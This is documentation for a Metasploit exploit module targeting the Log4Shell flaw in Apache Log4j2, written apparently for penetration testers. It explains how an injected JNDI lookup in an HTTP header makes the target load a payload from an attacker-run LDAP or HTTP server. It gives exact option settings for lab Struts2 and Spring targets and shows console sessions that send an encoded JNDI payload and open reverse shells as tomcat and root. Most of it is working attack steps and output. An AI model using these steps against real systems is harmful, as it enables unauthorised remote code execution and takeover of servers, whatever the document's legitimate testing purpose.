## Vulnerable Application Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration, log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints. This module will exploit an HTTP end point with the Log4Shell vulnerability by injecting a format message that will trigger an LDAP connection to Metasploit and load a payload. The Automatic target delivers a Java payload using remote class loading. This requires Metasploit to run an HTTP server in addition to the LDAP server that the target can connect to. The targeted application must have the trusted code base option enabled for this technique to work. The non-Automatic targets deliver a payload via a serialized Java object. This does not require Metasploit to run an HTTP server and instead leverages the LDAP server to deliver the serialized object. The target application in this case must be compatible with the user-specified JAVA_GADGET_CHAIN option. ## Verification Steps 1. Setup a vulnerable Struts2 instance (see the steps below) 2. Start msfconsole 3. Do: `use exploit/multi/http/log4shell_header_injection` 4. Set the `SRVHOST`, `RHOSTS`, `RPORT` and `TARGETURI` options * For Struts2, set `TARGETURI` to `/struts2-showcase/` 5. If using a target other than Automatic, optionally change the `JAVA_GADGET_CHAIN` setting 6. Do: `run` 7. If the target is vulnerable, the payload should be executed ### Apache Struts2 Verification For Apache Struts2, setup a vulnerable instance using the [steps][1] from the scanner module and use the following options: ``` set HTTP_HEADER If-Modified-Since set TARGETURI /struts2-showcase/struts/utils.js set JAVA_GADGET_CHAIN CommonsBeanutils1 set TARGET Linux set PAYLOAD cmd/unix/reverse_bash ``` This scenario uses the non-Automatic target to deliver a serialized payload. The target is compatible with the CommonsBeanutils1 ysoserial payload. ### Spring2 Verification For Spring2, run the `christophetd/log4shell-vulnerable-app:latest` docker image and use the following options: ``` set HTTP_HEADER X-Api-Version set TARGETURI / set TARGET Automatic set PAYLOAD java/meterpreter/reverse_tcp ``` This scenario uses the Automatic target and remote class loading. The target application has the trusted code base option enabled, allowing the payload to be loaded. ## Options ### HTTP_HEADER The HTTP header to inject into. If this option is not specified, the scanner module will be used to automatically identify a suitable value. ### HTTP_METHOD The HTTP method to use. ### HTTP_SRVPORT The HTTP server port. This service is used for remote class loading and is only relevant when the target is Automatic. ### JAVA_GADGET_CHAIN The ysoserial payload to use for deserialization. This option is only relevant for non-Automatic targets that deliver a serialized object. The selected value must be compatible with the target application. ## Scenarios ### Apache Struts2 For setup, see the "Apache Struts2 Verification" section above. The `If-Modified-Since` header is automatically detected by the scanner. ``` msf6 > use exploit/multi/http/log4shell_header_injection [*] Using configured payload java/shell_reverse_tcp msf6 exploit(multi/http/log4shell_header_injection) > set RHOSTS 192.168.159.128 RHOSTS => 192.168.159.128 msf6 exploit(multi/http/log4shell_header_injection) > set RPORT 8080 RPORT => 8080 msf6 exploit(multi/http/log4shell_header_injection) > set SRVHOST 192.168.250.134 SRVHOST => 192.168.250.134 msf6 exploit(multi/http/log4shell_header_injection) > set TARGETURI /struts2-showcase/struts/utils.js TARGETURI => /struts2-showcase/struts/utils.js msf6 exploit(multi/http/log4shell_header_injection) > set JAVA_GADGET_CHAIN CommonsBeanutils1 JAVA_GADGET_CHAIN => CommonsBeanutils1 msf6 exploit(multi/http/log4shell_header_injection) > set TARGET Linux TARGET => Linux msf6 exploit(multi/http/log4shell_header_injection) > set PAYLOAD cmd/unix/reverse_bash PAYLOAD => cmd/unix/reverse_bash msf6 exploit(multi/http/log4shell_header_injection) > set LHOST 192.168.250.134 LHOST => 192.168.250.134 msf6 exploit(multi/http/log4shell_header_injection) > check [*] Using auxiliary/scanner/http/log4shell_scanner as check [+] 192.168.159.128:8080 - Log4Shell found via /struts2-showcase/struts/utils.js (header: If-Modified-Since) (java: BellSoft_11.0.13) [+] 192.168.159.128:8080 - Log4Shell found via /struts2-showcase/struts/utils.js/%24%7bjndi%3aldap%3a%24%7b%3a%3a-/%7d/192.168.250.134%3a389/e31vm2fhlvewa70x3igyp/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d/ (java: BellSoft_11.0.13) [*] Scanned 1 of 1 hosts (100% complete) [*] Sleeping 30 seconds for any last LDAP connections [+] 192.168.159.128:8080 - The target is vulnerable. msf6 exploit(multi/http/log4shell_header_injection) > exploit [*] Started reverse TCP handler on 192.168.250.134:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Using auxiliary/scanner/http/log4shell_scanner as check [+] 192.168.159.128:8080 - Log4Shell found via /struts2-showcase/struts/utils.js (header: If-Modified-Since) (java: BellSoft_11.0.13) [+] 192.168.159.128:8080 - Log4Shell found via /struts2-showcase/struts/utils.js/%24%7bjndi%3aldap%3a%24%7b%3a%3a-/%7d/192.168.250.134%3a389/qn32g1o993yt6s8z91b3ujz/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d/ (java: BellSoft_11.0.13) [*] Scanned 1 of 1 hosts (100% complete) [*] Sleeping 30 seconds for any last LDAP connections [+] The target is vulnerable. [+] Automatically identified vulnerable header: If-Modified-Since [*] Command shell session 1 opened (192.168.250.134:4444 -> 192.168.250.134:54580 ) at 2022-01-07 14:37:25 -0500 [*] Server stopped. id uid=999(tomcat) gid=999(tomcat) groups=999(tomcat) pwd / ``` ### Spring2 For setup, see the "Spring2 Verification" section above. The `X-Api-Version` header is automatically detected by the scanner. ``` msf6 > use exploit/multi/http/log4shell_header_injection [*] Using configured payload java/meterpreter/reverse_tcp msf6 exploit(multi/http/log4shell_header_injection) > set RHOSTS 192.168.159.128 RHOSTS => 192.168.159.128 msf6 exploit(multi/http/log4shell_header_injection) > set RPORT 8080 RPORT => 8080 msf6 exploit(multi/http/log4shell_header_injection) > set SRVHOST 192.168.250.134 SRVHOST => 192.168.250.134 msf6 exploit(multi/http/log4shell_header_injection) > set HTTP_SRVPORT 80 HTTP_SRVPORT => 80 msf6 exploit(multi/http/log4shell_header_injection) > set TARGETURI / TARGETURI => / msf6 exploit(multi/http/log4shell_header_injection) > set TARGET Automatic TARGET => Automatic msf6 exploit(multi/http/log4shell_header_injection) > set PAYLOAD java/meterpreter/reverse_tcp PAYLOAD => java/meterpreter/reverse_tcp msf6 exploit(multi/http/log4shell_header_injection) > set LHOST 192.168.250.134 LHOST => 192.168.250.134 msf6 exploit(multi/http/log4shell_header_injection) > check [*] Using auxiliary/scanner/http/log4shell_scanner as check [+] 192.168.159.128:8080 - Log4Shell found via / (header: X-Api-Version) (java: Oracle Corporation_1.8.0_181) [*] Scanned 1 of 1 hosts (100% complete) [*] Sleeping 30 seconds for any last LDAP connections [+] 192.168.159.128:8080 - The target is vulnerable. msf6 exploit(multi/http/log4shell_header_injection) > exploit [*] Started reverse TCP handler on 192.168.250.134:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Using auxiliary/scanner/http/log4shell_scanner as check [+] 192.168.159.128:8080 - Log4Shell found via / (header: X-Api-Version) (java: Oracle Corporation_1.8.0_181) [*] Scanned 1 of 1 hosts (100% complete) [*] Sleeping 30 seconds for any last LDAP connections [+] The target is vulnerable. [+] Automatically identified vulnerable header: X-Api-Version [*] Serving Java code on: http://192.168.250.134:80/VfrBNShRHj.jar [*] Sending stage (58082 bytes) to 192.168.250.134 [*] Meterpreter session 1 opened (192.168.250.134:4444 -> 192.168.250.134:54582 ) at 2022-01-07 14:42:16 -0500 [*] Server stopped. meterpreter > getuid Server username: root meterpreter > sysinfo Computer : 6febf4ddad76 OS : Linux 5.15.12-100.fc34.x86_64 (amd64) Meterpreter : java/linux meterpreter > ``` [1]: https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/scanner/http/log4shell_scanner.md#apache-struts2-setup